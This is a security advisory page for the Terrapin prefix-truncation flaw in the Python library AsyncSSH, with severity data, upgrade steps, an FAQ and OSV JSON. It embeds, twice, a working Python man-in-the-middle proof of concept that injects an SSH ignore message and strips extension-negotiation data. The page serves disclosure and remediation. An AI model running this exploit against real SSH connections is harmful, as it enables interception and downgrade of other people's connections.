GHSA-hfmc-7525-mj55: Asyncssh AsyncSSH Vulnerable To Prefix Truncation Vulnerability

MODERATE
CVSS 5.9
CWE-345
Published
Advisory Summary

GHSA-hfmc-7525-mj55 is a MODERATE (CVSS 5.9) asyncssh vulnerable to prefix truncation vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Asyncssh libraries in the PyPI ecosystem. The issue involves asyncssh vulnerable to prefix truncation attack (a.k.a. terrapin attack) against chacha20-poly1305 and encrypt-then-mac. Remediation is available by upgrading affected packages to version 2.14.2.

GHSA-hfmc-7525-mj55 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-hfmc-7525-mj55
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Asyncssh
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-hfmc-7525-mj55

To remediate this vulnerability, upgrade all affected Asyncssh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

asyncssh fixed: 2.14.2
pip install asyncssh>=2.14.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show asyncssh

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-hfmc-7525-mj55, inspect your installed packages using pip:

pip show asyncssh

Analyze the terminal output to locate any version of Asyncssh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.2), your application is affected.

Note: The pip show asyncssh command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Asyncssh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary AsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security. ### Mitigations To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version. **Warning: To take effect, both the client and server must support this countermeasure.** As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available. ### Details The SSH specifications of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com` MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario. The attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange. In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers. For more details and a pre-print of the associated research paper, see [https://terrapin-attack.com](https://terrapin-attack.com). This website is not affiliated with AsyncSSH in any way. ### PoC <details> <summary>Extension Negotiation Downgrade Attack (chacha20-poly1305@openssh.com)</summary> ```python #!/usr/bin/python3 import socket from binascii import unhexlify from threading import Thread from time import sleep ##################################################################################### ## Proof of Concept for the extension downgrade attack ## ## ## ## Variant: ChaCha20-Poly1305 ## ## ## ## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79 ## ## Server(s) tested: OpenSSH 9.5p1 ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 LENGTH_FIELD_LENGTH = 4 def pipe_socket_stream(in_socket, out_socket): try: while True: data = in_socket.recv(4096) if len(data) == 0: break out_socket.send(data) except ConnectionResetError: print("[!] Socket connection has been reset. Closing sockets.") except OSError: print("[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.") in_socket.close() out_socket.close() rogue_msg_ignore = unhexlify('0000000C060200000000000000000000') def perform_attack(client_socket, server_socket): # Version exchange client_vex = client_socket.recv(255) server_vex = server_socket.recv(255) client_socket.send(server_vex) server_socket.send(client_vex) # SSH_MSG_KEXINIT client_kexinit = client_socket.recv(35000) server_kexinit = server_socket.recv(35000) client_socket.send(server_kexinit) server_socket.send(client_kexinit) # Client will now send the key exchange INIT client_kex_init = client_socket.recv(35000) server_socket.send(client_kex_init) # Insert ignore message (to client) client_socket.send(rogue_msg_ignore) # Wait half a second here to avoid missing EXT_INFO # Can be solved by counting bytes as well sleep(0.5) # KEX_REPLY / NEW_KEYS / EXT_INFO server_response = server_socket.recv(35000) # Strip EXT_INFO before forwarding server_response to client # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH]) server_newkeys_start = server_kex_reply_length server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH]) server_extinfo_start = server_newkeys_start + server_newkeys_length client_socket.send(server_response[:server_extinfo_start]) if __name__ == '__main__': print("--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Performing extension downgrade") perform_attack(client_socket, server_socket) print("[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.") forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True) forward_client_to_server_thread.start() forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True) forward_server_to_client_thread.start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ``` </details> ### Impact This attack targets the specification of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com`), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

GHSA-hfmc-7525-mj55 Affected Asyncssh Versions

1 component(s)
Fixed Versions:
2.14.2
Product / Package Ecosystem Affected Versions Fixed Version
asyncssh
PyPI
< 2.14.2
2.14.2

References

Frequently Asked Questions

What is GHSA-hfmc-7525-mj55?
GHSA-hfmc-7525-mj55 is a security vulnerability in Asyncssh involving AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC under CWE-345: Insufficient Verification of Data Authenticity.
Which Asyncssh versions are affected?
Affected versions include releases prior to 2.14.2 across affected packages: asyncssh.
What version fixes GHSA-hfmc-7525-mj55?
Upgrading to 2.14.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is asyncssh affected?
Yes, asyncssh is affected in releases prior to 2.14.2. Upgrade your dependency to 2.14.2 or later.
What is the CVSS score of GHSA-hfmc-7525-mj55?
GHSA-hfmc-7525-mj55 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with GHSA-hfmc-7525-mj55?
GHSA-hfmc-7525-mj55 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check PyPI dependencies for GHSA-hfmc-7525-mj55?
Run the dependency tree command: 'pip show asyncssh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hfmc-7525-mj55",
  "modified" : "2023-12-19T17:22:31Z",
  "published" : "2023-12-18T19:21:45Z",
  "aliases" : [ ],
  "summary" : "AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC",
  "details" : "### Summary\n\nAsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.\n\n### Mitigations\n\nTo mitigate this protocol vulnerability, OpenSSH suggested a so-called \"strict kex\" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version. \n\n**Warning: To take effect, both the client and server must support this countermeasure.** \n\nAs a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.\n\n### Details\n\nThe SSH specifications of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com` MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.\n\nThe attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.\n\nIn the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.\n\nFor more details and a pre-print of the associated research paper, see [https://terrapin-attack.com](https://terrapin-attack.com). This website is not affiliated with AsyncSSH in any way.\n\n### PoC\n\n<details>\n  <summary>Extension Negotiation Downgrade Attack (chacha20-poly1305@openssh.com)</summary>\n  \n  ```python\n#!/usr/bin/python3\nimport socket\nfrom binascii import unhexlify\nfrom threading import Thread\nfrom time import sleep\n\n#####################################################################################\n## Proof of Concept for the extension downgrade attack                             ##\n##                                                                                 ##\n## Variant: ChaCha20-Poly1305                                                      ##\n##                                                                                 ##\n## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79                                    ##\n## Server(s) tested: OpenSSH 9.5p1                                                 ##\n##                                                                                 ##\n## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n#####################################################################################\n\n# IP and port for the TCP proxy to bind to\nPROXY_IP = '127.0.0.1'\nPROXY_PORT = 2222\n\n# IP and port of the server\nSERVER_IP = '127.0.0.1'\nSERVER_PORT = 22\n\nLENGTH_FIELD_LENGTH = 4\n\ndef pipe_socket_stream(in_socket, out_socket):\n    try:\n        while True:\n            data = in_socket.recv(4096)\n            if len(data) == 0:\n                break\n            out_socket.send(data)\n    except ConnectionResetError:\n        print(\"[!] Socket connection has been reset. Closing sockets.\")\n    except OSError:\n        print(\"[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.\")\n    in_socket.close()\n    out_socket.close()\n\nrogue_msg_ignore = unhexlify('0000000C060200000000000000000000')\ndef perform_attack(client_socket, server_socket):\n    # Version exchange\n    client_vex = client_socket.recv(255)\n    server_vex = server_socket.recv(255)\n    client_socket.send(server_vex)\n    server_socket.send(client_vex)\n    # SSH_MSG_KEXINIT\n    client_kexinit = client_socket.recv(35000)\n    server_kexinit = server_socket.recv(35000)\n    client_socket.send(server_kexinit)\n    server_socket.send(client_kexinit)\n    # Client will now send the key exchange INIT\n    client_kex_init = client_socket.recv(35000)\n    server_socket.send(client_kex_init)\n    # Insert ignore message (to client)\n    client_socket.send(rogue_msg_ignore)\n    # Wait half a second here to avoid missing EXT_INFO\n    # Can be solved by counting bytes as well\n    sleep(0.5)\n    # KEX_REPLY / NEW_KEYS / EXT_INFO\n    server_response = server_socket.recv(35000)\n    # Strip EXT_INFO before forwarding server_response to client\n    # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted\n    server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH])\n    server_newkeys_start = server_kex_reply_length\n    server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH])\n    server_extinfo_start = server_newkeys_start + server_newkeys_length\n    client_socket.send(server_response[:server_extinfo_start])\n\nif __name__ == '__main__':\n    print(\"--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---\")\n    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    mitm_socket.bind((PROXY_IP, PROXY_PORT))\n    mitm_socket.listen(5)\n\n    print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    try:\n        while True:\n            client_socket, client_addr = mitm_socket.accept()\n            print(f\"[+] Accepted connection from: {client_addr}\")\n            print(f\"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.\")\n            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            server_socket.connect((SERVER_IP, SERVER_PORT))\n            print(\"[+] Performing extension downgrade\")\n            perform_attack(client_socket, server_socket)\n            print(\"[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.\")\n            forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True)\n            forward_client_to_server_thread.start()\n            forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True)\n            forward_server_to_client_thread.start()\n    except KeyboardInterrupt:\n        client_socket.close()\n        server_socket.close()\n        mitm_socket.close()\n  ```\n</details>\n\n### Impact\n\nThis attack targets the specification of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com`), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "asyncssh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.14.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ronf/asyncssh/security/advisories/GHSA-hfmc-7525-mj55"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ronf/asyncssh/commit/0bc73254f41acb140187e0c89606311f88de5b7b"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ronf/asyncssh/commit/69f5a41b458b29367a65fe469c2b0255b5db210a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ronf/asyncssh"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-18T19:21:45Z",
    "nvd_published_at" : null
  }
}